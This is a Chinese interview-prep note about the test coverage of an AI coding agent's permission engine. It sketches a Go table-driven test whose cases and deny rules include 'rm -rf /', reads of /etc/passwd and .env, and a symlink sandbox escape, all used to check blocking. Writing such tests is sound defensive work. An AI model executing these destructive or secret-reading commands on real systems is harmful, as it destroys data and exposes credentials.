面试官想听什么:验证你确实做了测试(这个模块有测试,是你的加分项)。
口述答案:
「
permission包有 171 行测试(matcher_test.go),主要覆盖匹配器——四种语法的正确性、取反的嵌套、glob 的段内 vs 跨段语义、边界(空模式、非法正则)。但我要诚实说:核心的
Check流水线没有端到端的单测。 三层配置的加载优先级、黑名单 + 沙箱 + 规则 + 模式的组合行为,我是靠 tmux 手工端到端验收的——按 spec 里的验收清单逐条跑:比如「在 bypassPermissions 模式下跑rm -rf /仍然被拦」「写/etc/passwd被判 Deny」「通过软链接指向项目外的目标也被判 Deny」。现在回头看,这块应该补单测,而且非常好补——
Check的输入是(mode, ToolCall, readOnly),输出是(Decision, reason),是完全纯函数。我可以构造一个临时目录做 root,用一个表驱动的测试把所有组合跑一遍。这是我下一步要做的第一件事。」
备注讲解:
permission 包的测试情况:
| 文件 | 行数 | 覆盖内容 |
|---|---|---|
matcher_test.go | 171 | 四种 Matcher 的匹配行为、glob 语义、边界 |
config_test.go(在 mcp 包) | — | 无关 |
而 Check 流水线本身没有测试——这是最应该被测的部分。
表驱动测试的设想(面试时可以说出来,显得你真的会写):
func TestEngine_Check(t *testing.T) {
root := t.TempDir() // 临时目录当 root
os.MkdirAll(filepath.Join(root, ".mewcode"), 0o755)
os.WriteFile(filepath.Join(root, ".mewcode", "settings.yaml"), []byte(`
permissions:
deny: ["Bash(rm *)", "Read(.env)"]
`), 0o644)
eng, _ := NewEngine(root)
cases := []struct{
name string
mode permission.Mode
call llm.ToolCall
readOnly bool
want permission.Decision
}{
{"黑名单-bypass也拦", ModeBypass, call("bash", `{"command":"rm -rf /"}`), false, Deny},
{"沙箱-项目外", ModeDefault, call("read_file", `{"path":"/etc/passwd"}`), true, Deny},
{"沙箱-软链接逃逸", ModeDefault, call("read_file", `{"path":"evil/passwd"}`), true, Deny},
{"沙箱-新建文件", ModeDefault, call("write_file", `{"path":"a/b/new.go"}`), false, Allow}, // 规则未命中 → acceptEdits? 注意
{"规则-deny优先", ModeDefault, call("bash", `{"command":"rm foo"}`), false, Deny},
{"模式-default-exec", ModeDefault, call("bash", `{"command":"ls"}`), false, Ask},
{"模式-acceptEdits写",ModeAcceptEdits, call("write_file", `{"path":"a.go"}`), false, Allow},
{"只读恒Allow", ModeDefault, call("grep", `{"pattern":"x"}`), true, Allow},
}
for _, c := range cases { ... }
}注意有一条要小心:「沙箱-新建文件」的期望值不是简单的 Allow——沙箱过了之后还要过规则层和模式层,write_file 在 Default 模式下会判 Ask。这个细节说明表驱动测试需要仔细设计期望值,也说明这个测试很有价值(它强制你理清每一层的组合语义)。
可能的追问:
- 「怎么测黑名单的正则?」 → 「可以写一个正则的单元测试表:把 10 条黑名单规则的正例(应该命中的命令)和负例(不该命中的相似命令)都列出来。负例特别重要——比如
rm -rf ./build不该命中,ls /dev/sda(只是列目录)不该命中第 2 条。正则的负例测试比正例更能发现问题,因为过宽的正则会误拦正常操作。」
附:权限部分的「一句话总结」备用
如果面试官问「用一句话总结你的权限设计」,用这句:
「五层流水线,前两层不可协商、后三层可协商;判定是纯函数、编排在 agent;模式只请求决策、不剥夺选择权。它最大的缺陷是沙箱停在参数层而不是进程层。」
➡️ 下一篇:05-面试题库-MCP与会话压缩.md